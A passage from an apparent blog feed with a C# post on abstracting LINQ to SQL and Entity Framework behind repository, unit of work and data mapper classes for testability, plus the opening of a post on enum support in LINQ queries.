class="code">&lt;T&gt;</span> together now mimic the LINQ to SQL API very closely. Because of this, for the most part I didn&rsquo;t have to change my code to get this to work, with is a big plus when you want to add this to an existing project.</p>  <p>Having an API close to that of LINQ to SQL wasn&rsquo;t enough for me however. The idea of the Repository pattern is to have entity specific operations that allow fetching or deleting entities of a certain type such as <span class="code">GetOrderById</span> or <span class="code">FindCustomerByName</span>. In the past I already solved this problem by writing these operations as extension methods on <span class="type">Table</span><span class="code">&lt;</span><span class="type">Order</span><span class="code">&gt;</span> and <span class="type">Table</span><span class="code">&lt;</span><span class="type">Customer</span><span class="code">&gt;</span>. By writing extension methods on IQueryable<span class="code">&lt;</span><span class="type">Order</span><span class="code">&gt;</span> and <span class="type">IQueryable</span><span class="code">&lt;</span><span class="type">Customer</span><span class="code">&gt;</span> -from a user&rsquo;s perspective- it is just as if these methods are defined on the repository itself:</p>  <pre class="cs" language="csharp" customtypes="Assert Customer DataContext Employee EntityContainer EntityFrameworkDataMapper EntityFrameworkNorthwindUnitOfWorkFactory EntityFrameworkSalesUnitOfWorkFactory EntityRepository Expression FakeFactory FakeUnitOfWorkFactoryFactory IBusinessCommand IDataMapper InMemoryDataMapper InMemoryRepository IQueryable IQueryProvider IUnitOfWorkFactory KeyNotFoundException LinqToSqlDataMapper LinqToSqlNorthwindUnitOfWorkFactory LinqToSqlRepository NorthwindRepositoryExtensions NorthwindUnitOfWork Order Repository SalesUnitOfWork SomeBusinessCommand Table">public static class NorthwindRepositoryExtensions<br />{<br />    public static Customer GetById(<br />        this IQueryable&lt;Customer&gt; repository, string id)<br />    {<br />        return GetSingle(repository, e =&gt; e.Id == id, id);<br />    }<br /><br />    public static Employee GetById(<br />        this IQueryable&lt;Employee&gt; repository, int id)<br />    {<br />        return GetSingle(repository, e =&gt; e.Id == id, id);<br />    }<br /><br />    public static Order GetById(<br />        this IQueryable&lt;Order&gt; repository, int id)<br />    {<br />        return GetSingle(repository, e =&gt; e.Id == id, id);<br />    }<br /><br />    // TODO: More GetById methods here.<br /><br />    // Allow reporting more descriptive error messages.<br />    private static T GetSingle&lt;T&gt;(IQueryable&lt;T&gt; collection, <br />        Expression&lt;Func&lt;T, bool&gt;&gt; predicate, object id)<br />        where T : class<br />    {<br />        T entity;<br /><br />        try<br />        {<br />            entity = collection.SingleOrDefault(predicate);<br />        }<br />        catch (Exception ex)<br />        {<br />            throw new InvalidOperationException(string.Format(<br />                &quot;There was an error retrieving an {0} with &quot; +<br />                &quot;id {1}. {2}&quot;,<br />                typeof(T).Name, id ?? &quot;{null}&quot;, ex.Message), ex);<br />        }<br /><br />        if (entity == null)<br />        {<br />            throw new KeyNotFoundException(string.Format(<br />                &quot;{0} with id {1} was not found.&quot;, <br />                typeof(T).Name, id ?? &quot;{null}&quot;));<br />        }<br /><br />        return entity;<br />    }<br />}</pre>  <p>While it would be sufficient to implement those <span class="code">GetById</span> methods with <span class="keyword">return</span><span class="code"> repository.Single(e =&gt; e.Id == id)</span>, I found out quickly that this would give very little information on failure. A private method that throws a more descriptive exception was the solution.</p>  <h5>Data Mapper<a name="data_mapper" title="data_mapper"></a></h5>  <p>To keep the unit of work classes, such as <span class="type">NorthwindUnitOfWork</span>, ignorant to the chosen technology, a mapping should be in place between that type and the used persistence framework. This is what the <span class="type">IDataMapper</span> interface is for:</p>  <pre class="cs" language="csharp" customtypes="Assert Customer DataContext Employee EntityContainer EntityFrameworkDataMapper EntityFrameworkNorthwindUnitOfWorkFactory EntityFrameworkSalesUnitOfWorkFactory EntityRepository Expression FakeFactory FakeUnitOfWorkFactoryFactory IBusinessCommand IDataMapper InMemoryDataMapper InMemoryRepository IQueryable IQueryProvider IUnitOfWorkFactory KeyNotFoundException LinqToSqlDataMapper LinqToSqlNorthwindUnitOfWorkFactory LinqToSqlRepository NorthwindRepositoryExtensions NorthwindUnitOfWork Order Repository SalesUnitOfWork SomeBusinessCommand Table">public interface IDataMapper : IDisposable<br />{<br />    Repository&lt;T&gt; GetRepository&lt;T&gt;() where T : class;<br /> <br />    void Save();<br />}</pre>  <p>If you look closely at the definition of this interface, you&rsquo;ll notice that the data mapper is in fact a unit of work. As a matter of fact, if you wish, you could just use the <span class="type">IDataMapper</span> directly in your business layer instead of using a <span class="type">NorthwindUnitOfWork</span> and its extension methods. Main reason for the them to exist is syntactic sugar. It makes the code much cleaner. In fact, it&rsquo;s only because <a rel="external" href="http://blogs.msdn.com/b/ericlippert/archive/2009/10/05/why-no-extension-properties.aspx" title="Eric Lippert - Why no extension properties?">C# lacks extension properties</a> that we actually need a <span class="type">NorthwindUnitOfWork</span>.</p>  <p>With the definition of the <span class="type">IDataMapper</span>, it is easy to create implementations for specific O/RM frameworks. Here is an implementation for LINQ to SQL:</p>  <pre class="cs" language="csharp" customtypes="Assert Customer DataContext Employee EntityContainer EntityFrameworkDataMapper EntityFrameworkNorthwindUnitOfWorkFactory EntityFrameworkSalesUnitOfWorkFactory EntityRepository Expression FakeFactory FakeUnitOfWorkFactoryFactory IBusinessCommand IDataMapper InMemoryDataMapper InMemoryRepository IQueryable IQueryProvider IUnitOfWorkFactory KeyNotFoundException LinqToSqlDataMapper LinqToSqlNorthwindUnitOfWorkFactory LinqToSqlRepository NorthwindRepositoryExtensions NorthwindUnitOfWork Order Repository SalesUnitOfWork SomeBusinessCommand Table">public sealed class LinqToSqlDataMapper : IDataMapper<br />{<br />    private readonly DataContext context;<br />    private readonly Dictionary&lt;Type, object&gt; repositories =<br />        new Dictionary&lt;Type, object&gt;();<br /><br />    public LinqToSqlDataMapper(DataContext context)<br />    {<br />        this.context = context;<br />    }<br /><br />    public void Save()<br />    {<br />        this.context.SubmitChanges();<br />    }<br /><br />    public void Dispose()<br />    {<br />        this.context.Dispose();<br />    }<br /><br />    public Repository&lt;T&gt; GetRepository&lt;T&gt;() where T : class<br />    {<br />        object rep;<br /><br />        if (!this.repositories.TryGetValue(typeof(T), out rep))<br />        {<br />            var table = this.context.GetTable&lt;T&gt;();<br />            rep = new LinqToSqlRepository&lt;T&gt;(table);<br />            this.repositories[typeof(T)] = rep;<br />        }<br /><br />        return (Repository&lt;T&gt;)rep;<br />    }<br /><br />    private sealed class LinqToSqlRepository&lt;T&gt; : Repository&lt;T&gt;<br />        where T : class<br />    {<br />        private readonly Table&lt;T&gt; table;<br /><br />        public LinqToSqlRepository(Table&lt;T&gt; table)<br />            : base(table)<br />        {<br />            this.table = table;<br />        }<br /><br />        public override void InsertOnSubmit(T entity)<br />        {<br />            this.table.InsertOnSubmit(entity);<br />        }<br /><br />        public override void DeleteOnSubmit(T entity)<br />        {<br />            this.table.DeleteOnSubmit(entity);<br />        }<br />    }<br />}</pre>  <p>As you can see, the <span class="type">LinqToSqlDataMapper</span> wraps a LINQ to SQL <span class="type">DataContext</span> class and forwards it&rsquo;s Save and Dispose methods to the <span class="type">DataContext</span>. Its <span class="code">GetRepository&lt;T&gt;</span> method returns <span class="type">LinqToSqlRepository</span><span class="code">&lt;T&gt;</span> classes, which wrap <span class="type">Table</span><span class="code">&lt;T&gt;</span> instances. As you can see, the code is fairly simple.</p>  <p>A bit more tricky is the implementation for Entity Framework:</p>  <pre class="cs" language="csharp" customtypes="ObjectQuery ObjectContext Assert Customer DataContext Employee EntityContainer EntityFrameworkDataMapper EntityFrameworkNorthwindUnitOfWorkFactory EntityFrameworkSalesUnitOfWorkFactory EntityRepository Expression FakeFactory FakeUnitOfWorkFactoryFactory IBusinessCommand IDataMapper InMemoryDataMapper InMemoryRepository IQueryable IQueryProvider IUnitOfWorkFactory KeyNotFoundException LinqToSqlDataMapper LinqToSqlNorthwindUnitOfWorkFactory LinqToSqlRepository NorthwindRepositoryExtensions NorthwindUnitOfWork Order Repository SalesUnitOfWork SomeBusinessCommand Table" customvaluetypes="DataSpace">public sealed class EntityFrameworkDataMapper : IDataMapper<br />{<br />    private readonly ObjectContext context;<br />    private readonly Dictionary&lt;Type, object&gt; repositories =<br />        new Dictionary&lt;Type, object&gt;();<br /><br />    public EntityFrameworkDataMapper(ObjectContext context)<br />    {<br />        this.context = context;<br />    }<br /><br />    public void Save()<br />    {<br />        this.context.SaveChanges();<br />    }<br /><br />    public void Dispose()<br />    {<br />        this.context.Dispose();<br />    }<br /><br />    public Repository&lt;T&gt; GetRepository&lt;T&gt;() where T : class<br />    {<br />        object rep;<br /><br />        if (!this.repositories.TryGetValue(typeof(T), out rep))<br />        {<br />            string setName = this.GetEntitySetName&lt;T&gt;();<br /><br />            var query = this.context.CreateQuery&lt;T&gt;(setName);<br />            rep = new EntityRepository&lt;T&gt;(query, setName);<br />            this.repositories[typeof(T)] = rep;<br />        }<br /><br />        return (Repository&lt;T&gt;)rep;<br />    }<br /><br />    private string GetEntitySetName&lt;T&gt;()<br />    {<br />        EntityContainer container =<br />            this.context.MetadataWorkspace.GetEntityContainer(<br />            this.context.DefaultContainerName, DataSpace.CSpace);<br /><br />        return (<br />            from item in container.BaseEntitySets<br />            where item.ElementType.Name == typeof(T).Name<br />            select item.Name).First();<br />    }<br /><br />    private sealed class EntityRepository&lt;T&gt;<br />        : Repository&lt;T&gt; where T : class<br />    {<br />        private readonly ObjectQuery&lt;T&gt; query;<br />        private readonly string entitySetName;<br /><br />        public EntityRepository(ObjectQuery&lt;T&gt; query,<br />            string entitySetName)<br />            : base(query)<br />        {<br />            this.query = query;<br />            this.entitySetName = entitySetName;<br />        }<br /><br />        public override void InsertOnSubmit(T entity)<br />        {<br />            this.query.Context.AddObject(entitySetName, entity);<br />        }<br /><br />        public override void DeleteOnSubmit(T entity)<br />        {<br />            this.query.Context.DeleteObject(entity);<br />        }<br />    }<br />}</pre>  <p>For Entity Framework you need to do a bit more work to create repositories, because Entity Framework expects you to supply the entity set name, which would normally the plural form of the entity name, but can in fact be anything. This entity set name is also needed for inserting entities. As you can see, the internal <span class="type">EntityRepository</span><span class="code">&lt;T&gt;</span> forwards insert and delete calls back to the context, because that&rsquo;s how Entity Framework likes it (but I don&rsquo;t).</p><p><font color="#FF0000">UPDATE: </font>Note that the ObjectSet&lt;T&gt; class of Entity Framework 4.0 now contains a AddObject(T) method (which was missing in .NET 3.5), which makes writing the EntityResository&lt;T&gt; much easier.</p>  <p>For unit testing we of course want to have an in-memory representation of the objects:</p>  <pre class="cs" language="csharp" customtypes="Assert Customer DataContext Employee EntityContainer EntityFrameworkDataMapper EntityFrameworkNorthwindUnitOfWorkFactory EntityFrameworkSalesUnitOfWorkFactory EntityRepository Expression FakeFactory FakeUnitOfWorkFactoryFactory IBusinessCommand IDataMapper InMemoryDataMapper InMemoryRepository IQueryable IQueryProvider IUnitOfWorkFactory KeyNotFoundException LinqToSqlDataMapper LinqToSqlNorthwindUnitOfWorkFactory LinqToSqlRepository NorthwindRepositoryExtensions NorthwindUnitOfWork Order Repository SalesUnitOfWork SomeBusinessCommand Table">public class InMemoryDataMapper : IDataMapper<br />{<br />    private List&lt;object&gt; committed = new List&lt;object&gt;();<br />    private List&lt;object&gt; uncommittedInserts = new List&lt;object&gt;();<br />    private List&lt;object&gt; uncommittedDeletes = new List&lt;object&gt;();<br /><br />    public bool Saved { get; private set; }<br /><br />    public bool Disposed { get; private set; }<br /><br />    // Get a list with all committed objects of type T.<br />    public IEnumerable&lt;T&gt; Committed&lt;T&gt;() where T : class<br />    {<br />        return this.committed.OfType&lt;T&gt;();<br />    }<br /><br />    public void AddCommitted(object entity)<br />    {<br />        this.committed.Add(entity);<br />    }<br /><br />    public Repository&lt;T&gt; GetRepository&lt;T&gt;() where T : class<br />    {<br />        return new InMemoryRepository&lt;T&gt;(this);<br />    }<br /><br />    public void Save()<br />    {<br />        this.committed.AddRange(this.uncommittedInserts);<br />        this.uncommittedInserts.Clear();<br /><br />        this.committed.RemoveAll(<br />            e =&gt; this.uncommittedDeletes.Contains(e));<br />        this.uncommittedDeletes.Clear();<br /><br />        this.Saved = true;<br />    }<br /><br />    public void Dispose()<br />    {<br />        this.Disposed = true;<br />    }<br /><br />    private sealed class InMemoryRepository&lt;T&gt; : Repository&lt;T&gt;<br />        where T : class<br />    {<br />        private readonly InMemoryDataMapper mapper;<br /><br />        public InMemoryRepository(InMemoryDataMapper mapper)<br />            : base(mapper.committed.OfType&lt;T&gt;().AsQueryable())<br />        {<br />            this.mapper = mapper;<br />        }<br /><br />        public override void InsertOnSubmit(T entity)<br />        {<br />            if (this.mapper.committed.Contains(entity))<br />                Assert.Fail(&quot;Entity already exist.&quot;);<br /><br />            this.mapper.uncommittedInserts.Add(entity);<br />        }<br /><br />        public override void DeleteOnSubmit(T entity)<br />        {<br />            if (!this.mapper.committed.Contains(entity))<br />                Assert.Fail(&quot;Entity does not exist.&quot;);<br /><br />            this.mapper.uncommittedDeletes.Add(entity);<br />        }<br />    }<br />}</pre>  <p>The <span class="code">AddCommitted</span> method is especially useful during test setup. You typically want to configure the <span class="type">InMemoryDataMapper</span> with a set of committed objects. This correctly mimics how LINQ to SQL and Entity Framework work. The <span class="code">Committed&lt;T&gt;()</span> method is useful during the assertion phase of your tests. With this method you can check if the objects you expect are indeed committed.</p>  <h5>Unit of Work factories<a name="unit_of_work_factories" title="unit_of_work_factories"></a></h5>  <p>The last piece of the puzzle are the Unit of Work factories. Each unit of work gets it&rsquo;s own factory. As I explained,  I like the creation of objects that implement <span class="type">IDisposable</span> to be very explicit. Factories help with this.</p>  <p>In my project I had to deal with multiple data stores. To minimize the number of needed interfaces I decided to define a single generic interface for creating unit of work classes:</p>  <pre class="cs" language="csharp" customtypes="Assert Customer DataContext Employee EntityContainer EntityFrameworkDataMapper EntityFrameworkNorthwindUnitOfWorkFactory EntityFrameworkSalesUnitOfWorkFactory EntityRepository Expression FakeFactory FakeUnitOfWorkFactoryFactory IBusinessCommand IDataMapper InMemoryDataMapper InMemoryRepository IQueryable IQueryProvider IUnitOfWorkFactory KeyNotFoundException LinqToSqlDataMapper LinqToSqlNorthwindUnitOfWorkFactory LinqToSqlRepository NorthwindRepositoryExtensions NorthwindUnitOfWork Order Repository SalesUnitOfWork SomeBusinessCommand Table">public interface IUnitOfWorkFactory&lt;TUnitOfWork&gt;<br />{<br />    TUnitOfWork CreateNew();<br />}</pre>  <p>While there is one generic interface, you&rsquo;ll still need to have one concrete factory for the chosen persistence technology. For instance, here is the factory for creating <span class="type">NorthwindUnitOfWork</span> instances with LINQ to SQL:</p>  <pre class="cs" language="csharp" customtypes="MappingSource AttributeMappingSource Assert Customer DataContext Employee EntityContainer EntityFrameworkDataMapper EntityFrameworkNorthwindUnitOfWorkFactory EntityFrameworkSalesUnitOfWorkFactory EntityRepository Expression FakeFactory FakeUnitOfWorkFactoryFactory IBusinessCommand IDataMapper InMemoryDataMapper InMemoryRepository IQueryable IQueryProvider IUnitOfWorkFactory KeyNotFoundException LinqToSqlDataMapper LinqToSqlNorthwindUnitOfWorkFactory LinqToSqlRepository NorthwindRepositoryExtensions NorthwindUnitOfWork Order Repository SalesUnitOfWork SomeBusinessCommand Table">public class LinqToSqlNorthwindUnitOfWorkFactory<br />    : IUnitOfWorkFactory&lt;NorthwindUnitOfWork&gt;<br />{<br />    private static MappingSource Source =<br />        new AttributeMappingSource();<br /><br />    private readonly string conStr;<br /><br />    public LinqToSqlNorthwindUnitOfWorkFactory(string conStr)<br />    {<br />        this.conStr = conStr;<br />    }<br /><br />    public NorthwindUnitOfWork CreateNew()<br />    {<br />        var db = new DataContext(this.conStr, Source);<br />        var mapper = new LinqToSqlDataMapper(db);<br />        return new NorthwindUnitOfWork(mapper);<br />    }<br />}</pre>  <p>What you might notice is that the factory is not only data store specific, but also O/RM specific. I tried to define a technology ignorant <span class="type">NorthwindUnitOfWorkFactory</span> by creating  an <span class="type">IDataMapperFactory</span> interface, but unfortunately this didn&rsquo;t work out. For performance reasons, the unit of work factory needs a static <span class="type">MappingSource</span> that is specific to the actual data store. Entity Framework has the same sort of constraint. It needs a default container name which is specific to the data store. Because of this it isn&rsquo;t possible to extract this code to a <span class="type">IDataMapperFactory</span> implementation.</p>  <p>Here is the factory when using Entity Framework:</p>  <pre class="cs" language="csharp" customtypes="ObjectContext Assert Customer DataContext Employee EntityContainer EntityFrameworkDataMapper EntityFrameworkNorthwindUnitOfWorkFactory EntityFrameworkSalesUnitOfWorkFactory EntityRepository Expression FakeFactory FakeUnitOfWorkFactoryFactory IBusinessCommand IDataMapper InMemoryDataMapper InMemoryRepository IQueryable IQueryProvider IUnitOfWorkFactory KeyNotFoundException LinqToSqlDataMapper LinqToSqlNorthwindUnitOfWorkFactory LinqToSqlRepository NorthwindRepositoryExtensions NorthwindUnitOfWork Order Repository SalesUnitOfWork SomeBusinessCommand Table">public class EntityFrameworkNorthwindUnitOfWorkFactory<br />    : IUnitOfWorkFactory&lt;NorthwindUnitOfWork&gt;<br />{<br />    public NorthwindUnitOfWork CreateNew()<br />    {<br />        var db = new ObjectContext(&quot;name=NorthwindEntities&quot;);<br />        db.DefaultContainerName = &quot;NorthwindEntities&quot;;<br />        var mapper = new EntityFrameworkDataMapper(db);<br />        return new NorthwindUnitOfWork(mapper);<br />    }<br />}</pre>  <p>Because constructing units of work in a unit testing environment is much simpler, we don&rsquo;t need a factory per data store. We can simply create a factory for creating unit of work factories :-). The <span class="code">CreateFactory</span> method creates a factory that returns the supplied unit of work:</p>  <pre class="cs" language="csharp" customtypes="Assert Customer DataContext Employee EntityContainer EntityFrameworkDataMapper EntityFrameworkNorthwindUnitOfWorkFactory EntityFrameworkSalesUnitOfWorkFactory EntityRepository Expression FakeFactory FakeUnitOfWorkFactoryFactory IBusinessCommand IDataMapper InMemoryDataMapper InMemoryRepository IQueryable IQueryProvider IUnitOfWorkFactory KeyNotFoundException LinqToSqlDataMapper LinqToSqlNorthwindUnitOfWorkFactory LinqToSqlRepository NorthwindRepositoryExtensions NorthwindUnitOfWork Order Repository SalesUnitOfWork SomeBusinessCommand Table">public static class FakeUnitOfWorkFactoryFactory<br />{<br />    public static IUnitOfWorkFactory&lt;TUnitOfWork&gt;<br />        CreateFactory&lt;TUnitOfWork&gt;(TUnitOfWork uow)<br />    {<br />        return new FakeFactory&lt;TUnitOfWork&gt;()<br />        {<br />            UnitOfWork = uow<br />        };<br />    }<br /><br />    private sealed class FakeFactory&lt;TUnitOfWork&gt;<br />        : IUnitOfWorkFactory&lt;TUnitOfWork&gt;<br />    {<br />        public TUnitOfWork UnitOfWork { get; set; }<br /><br />        public TUnitOfWork CreateNew()<br />        {<br />            return this.UnitOfWork;<br />        }<br />    }<br />}</pre>  <h5>IoC Configuration<a name="ioc_configuration" title="ioc_configuration"></a></h5>  <p>With all this plumbing in place we can now configure our IoC framework. The configuration is really straightforward, because we only need to register the concrete unit of work factories, as follows:</p>  <pre class="cs" language="csharp" customtypes="Assert Customer DataContext Employee EntityContainer EntityFrameworkDataMapper EntityFrameworkNorthwindUnitOfWorkFactory EntityFrameworkSalesUnitOfWorkFactory EntityRepository Expression FakeFactory FakeUnitOfWorkFactoryFactory IBusinessCommand IDataMapper InMemoryDataMapper InMemoryRepository IQueryable IQueryProvider IUnitOfWorkFactory KeyNotFoundException LinqToSqlDataMapper LinqToSqlNorthwindUnitOfWorkFactory LinqToSqlRepository NorthwindRepositoryExtensions NorthwindUnitOfWork Order Repository SalesUnitOfWork SomeBusinessCommand Table">string northwindConnection = GetConStr(&quot;Northwind&quot;);<br /> <br />container.RegisterSingle&lt;IUnitOfWorkFactory&lt;NorthwindUnitOfWork&gt;&gt;(<br />    new LinqToSqlNorthwindUnitOfWorkFactory(northwindConnection));<br /> <br />container.RegisterSingle&lt;IUnitOfWorkFactory&lt;SalesUnitOfWork&gt;&gt;(<br />    new EntityFrameworkSalesUnitOfWorkFactory());</pre>  <h5>Application code<a name="application_code" title="application_code"></a></h5>  <p>I almost forgot the reason why we developers got paid: To create code that helps the business. This is what some business command might look like when we use this code:</p>  <pre class="cs" language="csharp" customtypes="Assert DataContext Employee EntityContainer EntityFrameworkDataMapper EntityFrameworkNorthwindUnitOfWorkFactory EntityFrameworkSalesUnitOfWorkFactory EntityRepository Expression FakeFactory FakeUnitOfWorkFactoryFactory IBusinessCommand IDataMapper InMemoryDataMapper InMemoryRepository IQueryable IQueryProvider IUnitOfWorkFactory KeyNotFoundException LinqToSqlDataMapper LinqToSqlNorthwindUnitOfWorkFactory LinqToSqlRepository NorthwindRepositoryExtensions NorthwindUnitOfWork Order Repository SalesUnitOfWork SomeBusinessCommand SomeBusinessCommandHandler IHandle Table">public class SomeBusinessCommand<br />{<br />    public string CustomerId { get; set; }<br />}<br /><br />public class SomeBusinessCommandHandler<br />    : IHandle&lt;SomeBusinessCommand&gt;<br />{<br />    private IUnitOfWorkFactory&lt;NorthwindUnitOfWork&gt; factory;<br /> <br />    public SomeBusinessCommandHandler(<br />        IUnitOfWorkFactory&lt;NorthwindUnitOfWork&gt; factory)<br />    {<br />        this.factory = factory;<br />    }<br /> <br />    public void Handle(SomeBusinessCommand command)<br />    {<br />        // Create a new context using the factory<br />        using (var context = this.factory.CreateNew())<br />        {<br />            // Using the extension methods on Repository&lt;T&gt;<br />            var customer = <br />                context.Customers.GetById(command.CustomerId);<br /> <br />            // Use LINQ queries to effectively filter data. <br />            var ordersToDelete =<br />                from order in context.Orders<br />                where order.Customer == customer<br />                where order.ShippedDate == null<br />                select order;<br /> <br />            // Use the delete operation on Repository&lt;T&gt;<br />            context.Orders.DeleteAllOnSubmit(ordersToDelete);<br /> <br />            // save the changes to the database<br />            context.SubmitChanges();<br />        }<br />    }<br />} <br /></pre>    <p><font color="#FF0000"><span style="background-color: #ffffff">UPDATE 2011-12-01: <font color="#000000">Although letting handlers create unit of work instances (using a factory) is an explicit model that is easy model to grasp, I came to the conclusion that this does not scale well. When complexity of the business logic increases, you will find yourself passing the unit of work on to other classes, which makes the code harder to follow. Currently, I rather let the unit of work be created and controlled outside the scope of a handlers and configure my DI container in such way that in a certain scope, the same unit of work is always injected. This doesn't invalidate the use of unit of work factories, since they can still be used by parts of the code that controls the unit of work, but keep in mind that you need to do more infrastructural code (DI wiring) to get this to work correctly.</font></span></font> </p><h5>Limitations<a name="short_comes" title="short_comes"></a><a name="Limitations" title="Limitations"></a></h5><p>Although this code has worked very well for me, there are a few short comes that might interest you. First of all, this code doesn&rsquo;t check if the chosen LINQ provider (LINQ to SQL, Entity Framework) can even execute your queries. During unit testing we actually use the LINQ provider on top of LINQ to Objects. This provider just compiles the Expression tree down to delegates and is able to execute practically any query you give it. Providers that translate the query down to SQL (or anything else for that matter) can&rsquo;t do this. You need to be aware of this and need to write integration tests, or test manually if being able to migrate another persistence framework is a concern. This short come is in fact caused by the concept of LINQ to Expression trees itself. To prevent this you could have your repositories not implement <span class="type">IQueryable</span><span class="code">&lt;T&gt;</span> and locate the LINQ queries inside a technology specific repository (which is the usual thing to do). This however, doesn&rsquo;t solve anything, because you now have code that never runs in unit tests at all, and need to rewrite those classes when you migrate to another technology, or at least you still have to test this code manually. There might be a way around this, by letting your LINQ provider run in the background, and verify the executed queries. However, I never managed to create a working proof of concept of this.</p><p>A better solution is to give <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=92" title=".NET Junkie - Meanwhile&hellip; on the query side of my architecture">custom queries their own abstraction in the system</a>. This gives you a lot of flexibility, although it still forces you to do integration testing on those queries.<br /> </p>  <p>Second short come has to do with the difference in delete behavior between frameworks. NHibernate for instance runs inserts and deletes in the order they are registered. While this sometimes is unpractical, at least this is predictable. LINQ to SQL on the other hand, <a rel="external" href="http://stackoverflow.com/questions/445985/linq-to-sql-execution-order-when-calling-submitchanges">always executes delete statements last</a> what can be quite annoying. Therefore, what might work during unit testing or while running with one framework, might fail with another.</p>  <p>Third, this design does not completely hide the O/RM tool. One of the differences that might bite you is the lazy loading behavior of sub entities. When accessing the <span class="code">Employee</span> property of an <span class="type">Order</span>, LINQ to SQL will load it lazily from the database. Entity Framework 3.5 returns null, unless you explicitly tell it to include it. (This design really stinks, and because of this the default behavior has changed in EF 4.0.) This will practically prevent you from using EF 3.5 with this design. A good way to prevent this is by using POCO objects. LINQ to SQL allows you to use POCOs, but again EF 3.5 does not. Also don&rsquo;t forget that LINQ to SQL only supports a one-to-one mapping between an CLR object and database table, while other O/RM tools allow very complex mappings. For this reason, migrating from LINQ to SQL to EF 4.0 would be much easier than the other way around.</p>  <p><strike>A fourth short come is the lack of possibilities to tune performance. Remember that there is one single <span class="type">Repository</span><span class="code">&lt;T&gt;</span> and all entity specific methods are extension methods. Those extension methods need to operate on <span class="type">IQueryable</span><span class="code">&lt;T&gt;</span>. Because those methods will also be called during testing, you can&rsquo;t tune performance by calling some stored procedure at that point. Doing this would &lsquo;promote&rsquo; your unit tests to integration tests.</strike> <font color="#ff0000">UPDATE 2011-01-27:</font> Compared to what I thought before, performance tuning is possible by injecting <a rel="external" href="http://www.udidahan.com/2007/09/16/fetching-strategy-nhibernate-implementation-available/" title="Udi Dahan -   	 Fetching Strategy Design">fetching strategies</a> into the application.  <font color="#ff0000">UPDATE 2011-06-19:</font> Please read <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=89" title="Faking your LINQ Provider part 2: Optimizing performance with fetching strategies">part 2</a> of this series if you're interested in optimizating performance using fetching strategies.</p>  <p>Yet another short come is that this design does not handle concurrency conflicts. All modern O/RM frameworks have a way to handle (especially) offline optimistic concurrency conflicts. The way they report errors however, and the way you have to deal with conflicts however, differs. If you look closely at the designs of the tools I think you can come up with an API that allows not only reporting (throwing exceptions is the simple part), but also fixing those conflicts. This however, is not something I&rsquo;ve dealt with. I usually let the application blow right in my face in the situation of a concurrency conflict and log that failure. I think the best way around this is to wrap your business operations with a decorator that handles these concurrency conflicts for you. You can only do this when you give business operations their own abstraction, as I've written about that <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=91" title=".NET Junkie - Meanwhile&hellip; on the command side of my architecture">here</a>.</p><p>A last short come I like to mention is that this method will only help you to replace one LINQ provider with another one. When you swap to Azure for instance, you will probably have no LINQ support (or a very limited one) and transition from one to another will fail. If you want to prevent this you should probably hide the LINQ queries behind interfaces.</p><p>As you might have noticed, most short comes have to do with LINQ being an <a rel="external" href="http://en.wikipedia.org/wiki/Leaky_abstraction" title="Wikipedia - Leaky abstraction">leaky abstraction</a>. </p><p><font color="#ff0000">UPDATE 2010-11-18:<font color="#000000"> <a rel="external" href="http://damieng.com/" title="DamienG's blog">Damien</a> wrote earlier this year <a rel="external" href="http://damieng.com/blog/2010/05/21/include-for-linq-to-sql-and-maybe-other-providers" title="Include for LINQ to SQL (and maybe other providers) ">an interesting extension method</a> that allows you to do eager loading in a persistence ignorant (read: testable) way. You should definitely check it out.</font></font></p><p><font color="#ff0000">UPDATE 2010-12-01: </font><a rel="external" href="http://www.dennisdoomen.net/" title="Weblog Dennis Doomen">Dennis Doomen</a> <a rel="external" href="http://twitter.com/ddoomen/status/4821350065643520" title="Twitter - ddoomen - Refactoring our repositories and its usages in the spirit of this article">used</a> the design described in this article <a rel="external" href="http://twitter.com/ddoomen/status/4883841843986433" title="Twitter - ddoomen - Awesome. We finished redesigning the entire repository/unit-of-work design. Definitely reduced a lot of our technical debt.">successfully</a> in one of his applications. He also used this design in his <a rel="external" href="http://silverlightcookbook.codeplex.com/" title="The Silverlight Cookbook - A Reference Application for Silverlight 4 LOB Apps">Silverlight Cookbook reference architecture</a>. </p>  <h5>Conclusion</h5>  <p>As you know there is not a problem in software design that can&rsquo;t be solved by adding a layer of abstraction, except of course the problem of too many layers of abstraction :-). While this might seem like a lot of code, don&rsquo;t forget that you only need the code for the persistence framework you're using (I included code for both LINQ to SQL as Entity Framework). Also, when you don&rsquo;t need multiple data stores, like I do, the design can be simplified. One of the big plusses for me about this design is the amount of code it saves me to write while writing unit tests.</p>   <p>Cheers</p> ]]></description>
			<guid isPermaLink="false">84@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, ADO.NET, C#, Databases, Dependency injection, Entity Framework, LINQ, LINQ to SQL, O/RM</category>
			<pubDate>Sun, 14 Nov 2010 15:40:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Adding Enum Support to Entity Framework LINQ queries</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=83</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=83#comm</comments>
                        <description><![CDATA[ Roger Alsing wrote an interesting post yesterday about adding support for enums to LINQ queries. It is nice to see what Roger is doing  with the .NET 4.0 ExpressionVisitor to change Expression trees that  allow this behavior. What I dislike however, is that for this solution  you need to reimplement all Queryable extension methods. So I thought  about this and found a more pleasant way of intercepting query  calls.<p>You should definitely start by read <a rel="external" href="http://rogeralsing.com/2010/11/10/entity-framework-4-enum-support-in-linq/" title="Roger Alsing Weblog - Entity Framework 4 Enum support in Linq">Roger's post</a>. What Roger does is creating a new <span class="type">Expression</span> object based on a supplied one. As I said, he abuses extension methods to get this work. It would be nicer if we could just intercept calls to the <span class="type">IQueryProvider</span> and replace expressions before they get executed.</p><p>The trick is to wrap an <span class="type">IQueryable</span><span class="code">&lt;T&gt;</span> and a <span class="type">IQueryProvider</span> object in decorators that allow you to intercept these calls. Then, instead of returning the repositories of your LINQ provider (<span class="type">ObjectQuery</span><span class="code">&lt;T&gt;</span> for Entity Framework and <span class="type">Table</span><span class="code">&lt;T&gt;</span> when using LINQ to SQL) you wrap them in a decorator. Downside of this is that you can't use <span class="type">Table</span><span class="code">&lt;T&gt;</span> or <span class="type">ObjectQuery</span><span class="code">&lt;T&gt;</span> directly in your code. However, I doubt that you really want this. You want your code to be testable and this would lead you to a design such as described in <a rel="external" href="http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=84" title=".NET Junkie - Faking your 